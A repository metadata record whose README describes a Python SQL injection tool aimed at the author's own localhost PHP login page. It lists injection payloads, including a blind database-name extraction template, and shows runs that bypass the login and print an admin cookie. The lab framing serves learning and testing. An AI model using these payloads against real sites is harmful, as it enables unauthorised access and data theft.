{"id":22360936,"url":"https://github.com/galihap76/web-app-sql-injection","last_synced_at":"2026-05-09T04:33:59.978Z","repository":{"id":169791299,"uuid":"476854312","full_name":"galihap76/web-app-sql-injection","owner":"galihap76","description":"This is my repo to hack my web app about vulnerability sql injection with python.","archived":false,"fork":false,"pushed_at":"2022-04-01T20:56:56.000Z","size":8,"stargazers_count":9,"open_issues_count":0,"forks_count":6,"subscribers_count":1,"default_branch":"main","last_synced_at":"2025-03-26T14:34:46.407Z","etag":null,"topics":["exploitation","hacking","mysql","php","python3","sql-injection","sql-injection-attacks","sql-injection-exploitation","vulnerability","vulnerability-detection"],"latest_commit_sha":null,"homepage":"","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/galihap76.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2022-04-01T20:04:35.000Z","updated_at":"2024-12-02T16:37:31.000Z","dependencies_parsed_at":null,"dependency_job_id":"4a469051-e274-47c1-a96d-22fe18f4832a","html_url":"https://github.com/galihap76/web-app-sql-injection","commit_stats":null,"previous_names":["galihap76/web-app-sql-injection"],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/galihap76/web-app-sql-injection","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/galihap76%2Fweb-app-sql-injection","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/galihap76%2Fweb-app-sql-injection/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/galihap76%2Fweb-app-sql-injection/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/galihap76%2Fweb-app-sql-injection/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/galihap76","download_url":"https://codeload.github.com/galihap76/web-app-sql-injection/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/galihap76%2Fweb-app-sql-injection/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":32807265,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-08T08:22:46.396Z","status":"online","status_checked_at":"2026-05-09T02:00:06.633Z","response_time":123,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["exploitation","hacking","mysql","php","python3","sql-injection","sql-injection-attacks","sql-injection-exploitation","vulnerability","vulnerability-detection"],"created_at":"2024-12-04T16:19:26.748Z","updated_at":"2026-05-09T04:33:59.953Z","avatar_url":"https://github.com/galihap76.png","language":"Python","funding_links":[],"categories":[],"sub_categories":[],"readme":"# What is SQL injection (SQLi)?\nSQL injection is a web security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. It generally allows an attacker to view data that they are not normally able to retrieve. This might include data belonging to other users, or any other data that the application itself is able to access. In many cases, an attacker can modify or delete this data, causing persistent changes to the application's content or behavior.\n\nIn some situations, an attacker can escalate an SQL injection attack to compromise the underlying server or other back-end infrastructure, or perform a denial-of-service attack. \u003ca href=\"https://github.com/payloadbox/sql-injection-payload-list\"\u003eLearn more\u003c/a\u003e.\n\n**Payloads**\n```\n'-'\n' '\n'\u0026'\n'^'\n'*'\n' or ''-'\n' or '' '\n' or ''\u0026'\n' or ''^'\n' or ''*'\n' OR 1 = 1 -- \n' OR BINARY substring(database(), %d, 1) = '%s' -- \n\"-\"\n\" \"\n\"\u0026\"\n\"^\"\n\"*\"\n\" or \"\"-\"\n\" or \"\" \"\n\" or \"\"\u0026\"\n\" or \"\"^\"\n\" or \"\"*\"\n```\n\n**Example**\n- Scan Vulnerability Sql Injection\n```\npython3 main.py -s http://localhost/hacking/login.php\n[!] Trying http://localhost/hacking/login.php\"\n[!] Trying http://localhost/hacking/login.php'\n[+] Detected 1 forms on http://localhost/hacking/login.php.\n```\n- Hack Database With Sql Injection\n```\npython3 main.py -d http://localhost/hacking/login.php\nhacking\n```\n- Bypass Login Website With Sql Injection\n```\npython3 main.py -f http://localhost/hacking/login.php\n--------------------------------------------------\n[+] Login success!\n[+] Admin cookie: mkffq2vgo24is4jr782cuc6g2n\n\n\u003c!DOCTYPE html\u003e\n\u003chtml lang=\"en\"\u003e\n    \u003chead\u003e\n        \u003ctitle\u003eDashboard\u003c/title\u003e\n    \u003c/head\u003e\n\u003cbody\u003e\n   \u003ch1\u003eHallo admin!\u003c/h1\u003e\n        \u003cp\u003eData 1 : This is coffee\u003c/p\u003e\n    \u003cp\u003eData 2 : This is tea\u003c/p\u003e\n    \u003cp\u003eData 3 : This is orange\u003c/p\u003e\n         \u003ca href=\"logout.php\"\u003eLogout\u003c/a\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n# Libraries\n- \u003ca href=\"https://pypi.org/project/bs4/\"\u003eBeautiful Soup\u003c/a\u003e\n- \u003ca href=\"https://pypi.org/project/requests/\"\u003eRequests\u003c/a\u003e\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fgalihap76%2Fweb-app-sql-injection","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fgalihap76%2Fweb-app-sql-injection","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fgalihap76%2Fweb-app-sql-injection/lists"}